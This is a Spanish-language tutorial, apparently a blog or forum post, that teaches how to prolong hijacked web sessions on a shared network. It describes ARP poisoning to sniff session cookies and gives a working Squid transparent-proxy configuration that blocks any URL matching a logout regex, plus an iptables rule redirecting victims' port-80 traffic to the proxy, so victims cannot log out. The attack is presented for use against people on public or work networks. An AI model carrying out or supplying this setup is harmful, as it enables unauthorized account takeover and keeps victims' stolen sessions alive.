Buenas, hoy les traigo una útil y «sencilla» técnica que nos permitirá en algunos casos evitar que los usuarios a los que les robamos la sesión por medio de hijacking de cookies cierren la sesión, evitando así que las cookies ya no tengan valor, y que la sesión deje se poder ser utilizable.
Escenario:
Nos encontramos conectados a una red ajena, como puede ser la de un lugar público o de nuestro trabajo(¿Por qué no?). Mediante envenenamiento ARP, logramos ver el tráfico de al menos un cliente. Viendo el tráfico de un cliente, logramos ver las cookies de sesión de alguna página. Estas las introducimos en nuestro navegador mediante la herramienta cookset. Luego de tener robada su sesión, queremos prolongar la duración de esta evitando el proceso de logout en el cliente.
Lo necesario para llevar a cabo el ataque:
- Tener corriendo alguna distribuición de Linux, y poder tener privilegios de root
- Tener instalado correctamente el firewall Iptables, en las distros más populares viene por defecto
- Tener instalado correctamente el servidor proxy squid, en algunas distros ya viene
Atacando
Antes que todo crearemos un backup de la configuración de Squid(se usa el archivo por defecto, cambiarlo si en su máquina está en otra ruta). Ejecutemos el siguiente comando en la terminal(de root):
mv /etc/squid/squid.conf /etc/squid/squid.bak
Luego, con nuestro editor de textos favorito creamos el archivo /etc/squid/squid.conf y le agregamos el siguiente contenido:
http_port 3128 transparent
cache_mem 64 MB
cache_dir ufs /var/spool/squid 150 16 256acl mi_pc src 127.0.0.1/32
acl red src all
acl all src all#Restringe petciones cuya URI coincida con alguna de las expresiones regulares
#en el archivo indicado
acl logout_restrict urlpath_regex «/etc/squid/logout_regex»http_access allow mi_pc
http_access allow red !logout_restrict
http_access deny red
http_access deny all
Luego creamos, en el mismo directorio, el archivo logout_regex, con las expresiones regulares que queremos, yo agregué solo una:
^.*[lL]ogout.*$
Una vez realizado esto ponemos a correr el proxy:
start squid
Si ya lo teníamos corriendo, lo reiniciamos
restart squid
Ahora, lo que hacemos es redirigir cualquier petición HTTP a nuestro proxy, y que este se encargue. Esto lo hacemos con iptables (asegurarse de que no haya reglas anteriores, y de cambiar la dirección de la red si es que es diferente):
iptables -t nat -A PREROUTING -s 192.168.1.0/24 -i eth0 -p tcp –dport 80 -j REDIRECT –to-port 3128
Una vez realizado este proceso, la víctima podría navegar más o menos normalmente, pero cuando quiera cerrar su sesión, vera este mensaje (que puede ser cambiado por otro):
Espero que les haya sido útil. Saludos!